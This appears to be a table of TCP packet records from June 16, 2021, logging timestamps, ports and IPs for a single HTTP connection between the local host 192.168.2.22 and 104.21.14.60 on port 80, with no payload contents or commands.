Jun 16, 2021 12:05:18.491983891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492010117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492058992 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492116928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492149115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492163897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492172003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492182970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492199898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492201090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492219925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492221117 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492239952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492255926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492259026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492280960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492300034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492319107 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492697001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492913008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492933035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492949963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492953062 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.492966890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492986917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.492986917 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.493010998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493035078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493056059 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493077040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493098974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493102074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.493124008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493146896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493148088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.493422031 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.493841887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493870020 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.493952990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.493973970 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.493977070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494003057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494021893 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494026899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494052887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494076967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494096994 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494102001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494131088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494155884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494174004 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494178057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494201899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494620085 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494628906 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494779110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494800091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494821072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494843960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494844913 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494863033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494868040 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494880915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494898081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494899988 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494916916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494935989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494951963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494967937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.494970083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.494985104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495659113 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.495670080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.495712996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495749950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495774031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495795965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495822906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495841980 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.495848894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495874882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495879889 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.495901108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495923996 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.495925903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495929003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.495949030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495966911 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.495982885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.496002913 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.496515989 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.496881962 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.498912096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.498934031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.498950958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.498966932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.498982906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.498991966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499002934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499003887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499023914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499033928 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499042988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499058962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499074936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499092102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499108076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499135017 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499144077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499166965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499175072 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499191999 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499191999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499216080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499238014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499259949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499262094 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499285936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499288082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499306917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499325037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499327898 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499341965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499358892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499362946 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499376059 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499394894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499416113 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499418020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499440908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499468088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499468088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499486923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499490023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499504089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499521971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499537945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499556065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499577045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499588966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499599934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499625921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499629021 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499708891 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499749899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499767065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499771118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499783993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499802113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499802113 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.499816895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.499948978 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.500494003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.501221895 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.580758095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580804110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580826044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580843925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580861092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580878973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580898046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580914974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580935955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580952883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580976009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.580984116 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.580996037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581029892 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.581038952 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.581113100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581135988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581147909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581166983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581182003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581202984 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.581214905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581232071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581248999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581264973 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.581269026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581285954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581300020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581306934 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.581314087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.581322908 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.581420898 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.582098961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582129955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582148075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582170963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582192898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582216978 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582237005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582242012 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.582254887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.582257032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582277060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582297087 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.582297087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582319021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582341909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.582376957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.582998037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583019972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583039045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583049059 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.583059072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583082914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583102942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583153963 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.583162069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583179951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583204985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583223104 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.583224058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583245039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583261967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583947897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583973885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583992004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.583997965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.584014893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584036112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584053040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584069967 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.584072113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584083080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.584094048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584111929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584130049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584147930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584168911 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.584170103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584883928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584909916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584928989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584932089 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.584949017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584968090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.584985971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585009098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585014105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.585030079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585047007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585066080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585074902 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.585088015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585105896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585131884 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.585891008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585930109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585947990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585966110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585978985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.585990906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586003065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586019039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586035967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586054087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586065054 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.586067915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586074114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.586083889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586671114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.586751938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586771011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586783886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586796999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586816072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586862087 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.586875916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586894035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.586919069 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.586921930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587004900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587034941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587040901 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.587054014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587071896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587105036 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.587698936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587718010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587729931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587749004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587768078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587786913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587824106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587826967 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.587857008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587861061 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.587874889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587908030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587908030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.587924957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587943077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.587973118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.588608027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588629961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588648081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588670015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588689089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588706017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588725090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588763952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588768005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.588783026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588820934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588849068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.588850021 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.588866949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589102983 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.589550972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589598894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589617014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589636087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589653015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589670897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589689016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589724064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589725971 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.589741945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589759111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589790106 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.589790106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.589823961 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.589824915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590111971 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.590492010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590511084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590531111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590549946 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590590954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590594053 CEST	49168	80	192.168.2.22	104.21.14.60
